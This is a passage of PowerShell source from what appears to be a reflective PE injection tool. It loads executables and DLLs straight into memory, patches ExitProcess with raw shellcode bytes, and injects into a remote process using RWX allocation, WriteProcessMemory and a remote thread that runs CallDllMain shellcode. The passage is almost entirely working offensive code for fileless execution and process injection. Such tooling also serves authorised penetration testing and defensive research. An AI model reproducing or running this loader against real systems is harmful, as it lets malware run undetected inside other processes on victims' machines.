  1878.                     $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1879.                    
  1880.                     $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1881.                     if ($Success = $false)
  1882.                     {
  1883.                         throw "Call to VirtualProtect failed"
  1884.                     }
  1885.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
  1886.                     $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1887.                 }
  1888.             }
  1889.             #################################################
  1890.            
  1891.            
  1892.             #################################################
  1893.             #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
  1894.            
  1895.             $ReturnArray = @()
  1896.             $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
  1897.            
  1898.             #CorExitProcess (compiled in to visual studio c++)
  1899.             [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
  1900.             if ($MscoreeHandle -eq [IntPtr]::Zero)
  1901.             {
  1902.                 throw "mscoree handle null"
  1903.             }
  1904.             [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
  1905.             if ($CorExitProcessAddr -eq [IntPtr]::Zero)
  1906.             {
  1907.                 Throw "CorExitProcess address not found"
  1908.             }
  1909.             $ExitFunctions += $CorExitProcessAddr
  1910.            
  1911.             #ExitProcess (what non-managed programs use)
  1912.             [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
  1913.             if ($ExitProcessAddr -eq [IntPtr]::Zero)
  1914.             {
  1915.                 Throw "ExitProcess address not found"
  1916.             }
  1917.             $ExitFunctions += $ExitProcessAddr
  1918.            
  1919.             [UInt32]$OldProtectFlag = 0
  1920.             foreach ($ProcExitFunctionAddr in $ExitFunctions)
  1921.             {
  1922.                 $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
  1923.                 #The following is the shellcode (Shellcode: ExitThread.asm):
  1924.                 #32bit shellcode
  1925.                 [Byte[]]$Shellcode1 = @(0xbb)
  1926.                 [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
  1927.                 #64bit shellcode (Shellcode: ExitThread.asm)
  1928.                 if ($PtrSize -eq 8)
  1929.                 {
  1930.                     [Byte[]]$Shellcode1 = @(0x48, 0xbb)
  1931.                     [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
  1932.                 }
  1933.                 [Byte[]]$Shellcode3 = @(0xff, 0xd3)
  1934.                 $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
  1935.                
  1936.                 [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
  1937.                 if ($ExitThreadAddr -eq [IntPtr]::Zero)
  1938.                 {
  1939.                     Throw "ExitThread address not found"
  1940.                 }
  1941.                
  1942.                 $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  1943.                 if ($Success -eq $false)
  1944.                 {
  1945.                     Throw "Call to VirtualProtect failed"
  1946.                 }
  1947.                
  1948.                 #Make copy of original ExitProcess bytes
  1949.                 $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1950.                 $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
  1951.                 $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
  1952.                
  1953.                 #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
  1954.                 #   call ExitThread
  1955.                 Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
  1956.                 $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
  1957.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
  1958.                 $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  1959.                 Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
  1960.                 $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
  1961.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
  1962.                 $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  1963.                 Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
  1964.                
  1965.                 $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1966.             }
  1967.             #################################################
  1968.            
  1969.             Write-Output $ReturnArray
  1970.         }
  1971.        
  1972.        
  1973.         #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
  1974.         #   It copies Count bytes from Source to Destination.
  1975.         Function Copy-ArrayOfMemAddresses
  1976.         {
  1977.             Param (
  1978.                 [Parameter(Position = 0, Mandatory = $true)]
  1979.                 [Array[]]$CopyInfo,
  1980.                 [Parameter(Position = 1, Mandatory = $true)]
  1981.                 [System.Object]$Win32Functions,
  1982.                 [Parameter(Position = 2, Mandatory = $true)]
  1983.                 [System.Object]$Win32Constants
  1984.             )
  1985.            
  1986.             [UInt32]$OldProtectFlag = 0
  1987.             foreach ($Info in $CopyInfo)
  1988.             {
  1989.                 $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  1990.                 if ($Success -eq $false)
  1991.                 {
  1992.                     Throw "Call to VirtualProtect failed"
  1993.                 }
  1994.                
  1995.                 $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
  1996.                
  1997.                 $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1998.             }
  1999.         }
  2000.        
  2001.        
  2002.         #####################################
  2003.         ##########    FUNCTIONS   ###########
  2004.         #####################################
  2005.         Function Get-MemoryProcAddress
  2006.         {
  2007.             Param (
  2008.                 [Parameter(Position = 0, Mandatory = $true)]
  2009.                 [IntPtr]$PEHandle,
  2010.                 [Parameter(Position = 1, Mandatory = $true)]
  2011.                 [String]$FunctionName
  2012.             )
  2013.            
  2014.             $Win32Types = Get-Win32Types
  2015.             $Win32Constants = Get-Win32Constants
  2016.             $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2017.            
  2018.             #Get the export table
  2019.             if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
  2020.             {
  2021.                 return [IntPtr]::Zero
  2022.             }
  2023.             $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
  2024.             $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
  2025.            
  2026.             for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
  2027.             {
  2028.                 #AddressOfNames is an array of pointers to strings of the names of the functions exported
  2029.                 $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2030.                 $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
  2031.                 $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
  2032.                
  2033.                 if ($Name -ceq $FunctionName)
  2034.                 {
  2035.                     #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
  2036.                     #    which contains the offset of the function in to the DLL
  2037.                     $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
  2038.                     $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
  2039.                     $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2040.                     $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
  2041.                     return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
  2042.                 }
  2043.             }
  2044.            
  2045.             return [IntPtr]::Zero
  2046.         }
  2047.        
  2048.        
  2049.         Function Invoke-MemoryLoadLibrary
  2050.         {
  2051.             Param (
  2052.                 [Parameter(Position = 0, Mandatory = $true)]
  2053.                 [Byte[]]$PEBytes,
  2054.                 [Parameter(Position = 1, Mandatory = $false)]
  2055.                 [String]$ExeArgs,
  2056.                 [Parameter(Position = 2, Mandatory = $false)]
  2057.                 [IntPtr]$RemoteProcHandle
  2058.             )
  2059.            
  2060.             $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  2061.            
  2062.             #Get Win32 constants and functions
  2063.             $Win32Constants = Get-Win32Constants
  2064.             $Win32Functions = Get-Win32Functions
  2065.             $Win32Types = Get-Win32Types
  2066.            
  2067.             $RemoteLoading = $false
  2068.             if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2069.             {
  2070.                 $RemoteLoading = $true
  2071.             }
  2072.            
  2073.             #Get basic PE information
  2074.             Write-Verbose "Getting basic PE information from the file"
  2075.             $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
  2076.             $OriginalImageBase = $PEInfo.OriginalImageBase
  2077.             $NXCompatible = $true
  2078.             if (([Int]$PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
  2079.             {
  2080.                 Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
  2081.                 $NXCompatible = $false
  2082.             }
  2083.            
  2084.            
  2085.             #Verify that the PE and the current process are the same bits (32bit or 64bit)
  2086.             $Process64Bit = $true
  2087.             if ($RemoteLoading -eq $true)
  2088.             {
  2089.                 $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  2090.                 $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
  2091.                 if ($Result -eq [IntPtr]::Zero)
  2092.                 {
  2093.                     Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
  2094.                 }
  2095.                
  2096.                 [Bool]$Wow64Process = $false
  2097.                 $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
  2098.                 if ($Success -eq $false)
  2099.                 {
  2100.                     Throw "Call to IsWow64Process failed"
  2101.                 }
  2102.                
  2103.                 if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
  2104.                 {
  2105.                     $Process64Bit = $false
  2106.                 }
  2107.                
  2108.                 #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
  2109.                 $PowerShell64Bit = $true
  2110.                 if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2111.                 {
  2112.                     $PowerShell64Bit = $false
  2113.                 }
  2114.                 if ($PowerShell64Bit -ne $Process64Bit)
  2115.                 {
  2116.                     throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
  2117.                 }
  2118.             }
  2119.             else
  2120.             {
  2121.                 if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2122.                 {
  2123.                     $Process64Bit = $false
  2124.                 }
  2125.             }
  2126.             if ($Process64Bit -ne $PEInfo.PE64Bit)
  2127.             {
  2128.                 Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
  2129.             }
  2130.            
  2131.            
  2132.             #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
  2133.             Write-Verbose "Allocating memory for the PE and write its headers to memory"
  2134.            
  2135.             [IntPtr]$LoadAddr = [IntPtr]::Zero
  2136.             if (([Int]$PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
  2137.             {
  2138.                 Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue
  2139.                 [IntPtr]$LoadAddr = $OriginalImageBase
  2140.             }
  2141.            
  2142.             $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
  2143.             $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
  2144.             if ($RemoteLoading -eq $true)
  2145.             {
  2146.                 #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
  2147.                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2148.                
  2149.                 #todo, error handling needs to delete this memory if an error happens along the way
  2150.                 $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2151.                 if ($EffectivePEHandle -eq [IntPtr]::Zero)
  2152.                 {
  2153.                     Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
  2154.                 }
  2155.             }
  2156.             else
  2157.             {
  2158.                 if ($NXCompatible -eq $true)
  2159.                 {
  2160.                     $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2161.                 }
  2162.                 else
  2163.                 {
  2164.                     $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2165.                 }
  2166.                 $EffectivePEHandle = $PEHandle
  2167.             }
  2168.            
  2169.             [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
  2170.             if ($PEHandle -eq [IntPtr]::Zero)
  2171.             {
  2172.                 Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
  2173.             }
  2174.             [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
  2175.            
  2176.            
  2177.             #Now that the PE is in memory, get more detailed information about it
  2178.             Write-Verbose "Getting detailed PE information from the headers loaded in memory"
  2179.             $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2180.             $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
  2181.             $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
  2182.             Write-Verbose "StartAddress: $PEHandle    EndAddress: $PEEndAddress"
  2183.            
  2184.            
  2185.             #Copy each section from the PE in to memory
  2186.             Write-Verbose "Copy PE sections in to memory"
  2187.             Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
  2188.            
  2189.            
  2190.             #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
  2191.             Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
  2192.             Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
  2193.            
  2194.            
  2195.             #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
  2196.             Write-Verbose "Import DLL's needed by the PE we are loading"
  2197.             if ($RemoteLoading -eq $true)
  2198.             {
  2199.                 Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
  2200.             }
  2201.             else
  2202.             {
  2203.                 Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
  2204.             }
  2205.            
  2206.            
  2207.             #Update the memory protection flags for all the memory just allocated
  2208.             if ($RemoteLoading -eq $false)
  2209.             {
  2210.                 if ($NXCompatible -eq $true)
  2211.                 {
  2212.                     Write-Verbose "Update memory protection flags"
  2213.                     Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
  2214.                 }
  2215.                 else
  2216.                 {
  2217.                     Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
  2218.                 }
  2219.             }
  2220.             else
  2221.             {
  2222.                 Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
  2223.             }
  2224.            
  2225.            
  2226.             #If remote loading, copy the DLL in to remote process memory
  2227.             if ($RemoteLoading -eq $true)
  2228.             {
  2229.                 [UInt32]$NumBytesWritten = 0
  2230.                 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
  2231.                 if ($Success -eq $false)
  2232.                 {
  2233.                     Throw "Unable to write shellcode to remote process memory."
  2234.                 }
  2235.             }
  2236.            
  2237.            
  2238.             #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
  2239.             if ($PEInfo.FileType -ieq "DLL")
  2240.             {
  2241.                 if ($RemoteLoading -eq $false)
  2242.                 {
  2243.                     Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
  2244.                     $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2245.                     $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2246.                     $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2247.                    
  2248.                     $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
  2249.                 }
  2250.                 else
  2251.                 {
  2252.                     $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2253.                    
  2254.                     if ($PEInfo.PE64Bit -eq $true)
  2255.                     {
  2256.                         #Shellcode: CallDllMain.asm
  2257.                         $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
  2258.                         $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
  2259.                         $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  2260.                     }
  2261.                     else
  2262.                     {
  2263.                         #Shellcode: CallDllMain.asm
  2264.                         $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
  2265.                         $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
  2266.                         $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
  2267.                     }
  2268.                     $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
  2269.                     $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  2270.                     $SCPSMemOriginal = $SCPSMem
  2271.                    
  2272.                     Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
  2273.                     $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
  2274.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
  2275.                     $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2276.                     Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
  2277.                     $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
  2278.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
  2279.                     $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2280.                     Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
  2281.                     $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
  2282.                    
  2283.                     $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2284.                     if ($RSCAddr -eq [IntPtr]::Zero)
  2285.                     {
  2286.                         Throw "Unable to allocate memory in the remote process for shellcode"
  2287.                     }
  2288.                    
  2289.                     $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  2290.                     if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  2291.                     {
  2292.                         Throw "Unable to write shellcode to remote process memory."
  2293.                     }
  2294.                    
  2295.                     $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  2296.                     $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  2297.                     if ($Result -ne 0)
  2298.                     {
  2299.                         Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  2300.                     }
  2301.                    
  2302.                     $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  2303.                 }
  2304.             }
  2305.             elseif ($PEInfo.FileType -ieq "EXE")
  2306.             {
  2307.                 #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
  2308.                 [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
  2309.                 [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
  2310.                 $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
  2311.                
  2312.                 #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
  2313.                 #   This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
  2314.                 [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2315.                 Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in."
  2316.                
  2317.                 $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
  2318.                
  2319.                 while ($true)
  2320.                 {
  2321.                     [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
  2322.                     if ($ThreadDone -eq 1)
  2323.                     {
  2324.                         Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
  2325.                         Write-Verbose "EXE thread has completed."
  2326.                         break
  2327.                     }
  2328.                     else
  2329.                     {
  2330.                         Start-Sleep -Seconds 1
  2331.                     }
  2332.                 }
  2333.             }
  2334.            
  2335.             return @($PEInfo.PEHandle, $EffectivePEHandle)
  2336.         }
  2337.        
  2338.        
  2339.         Function Invoke-MemoryFreeLibrary
  2340.         {
  2341.             Param (
  2342.                 [Parameter(Position = 0, Mandatory = $true)]
  2343.                 [IntPtr]$PEHandle
  2344.             )
  2345.            
  2346.             #Get Win32 constants and functions
  2347.             $Win32Constants = Get-Win32Constants
  2348.             $Win32Functions = Get-Win32Functions
  2349.             $Win32Types = Get-Win32Types
  2350.            
  2351.             $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2352.            
  2353.             #Call FreeLibrary for all the imports of the DLL
  2354.             if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  2355.             {
  2356.                 [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  2357.                
  2358.                 while ($true)
  2359.                 {
  2360.                     $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  2361.                    
  2362.                     #If the structure is null, it signals that this is the end of the array
  2363.                     if ($ImportDescriptor.Characteristics -eq 0 `
  2364.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  2365.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  2366.                         -and $ImportDescriptor.Name -eq 0 `
  2367.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  2368.                     {
  2369.                         Write-Verbose "Done unloading the libraries needed by the PE"
  2370.                         break
  2371.                     }
  2372.                    
  2373.                     $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
  2374.                     $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
  2375.                    
  2376.                     if ($ImportDllHandle -eq $null)
  2377.                     {
  2378.                         Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
  2379.                     }
  2380.                    
  2381.                     $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
  2382.                     if ($Success -eq $false)
  2383.                     {
  2384.                         Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
  2385.                     }
  2386.                    
  2387.                     $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  2388.                 }
  2389.             }
  2390.            
  2391.             #Call DllMain with process detach
  2392.             Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
  2393.             $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2394.             $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2395.             $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2396.            
  2397.             $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
  2398.            
  2399.            
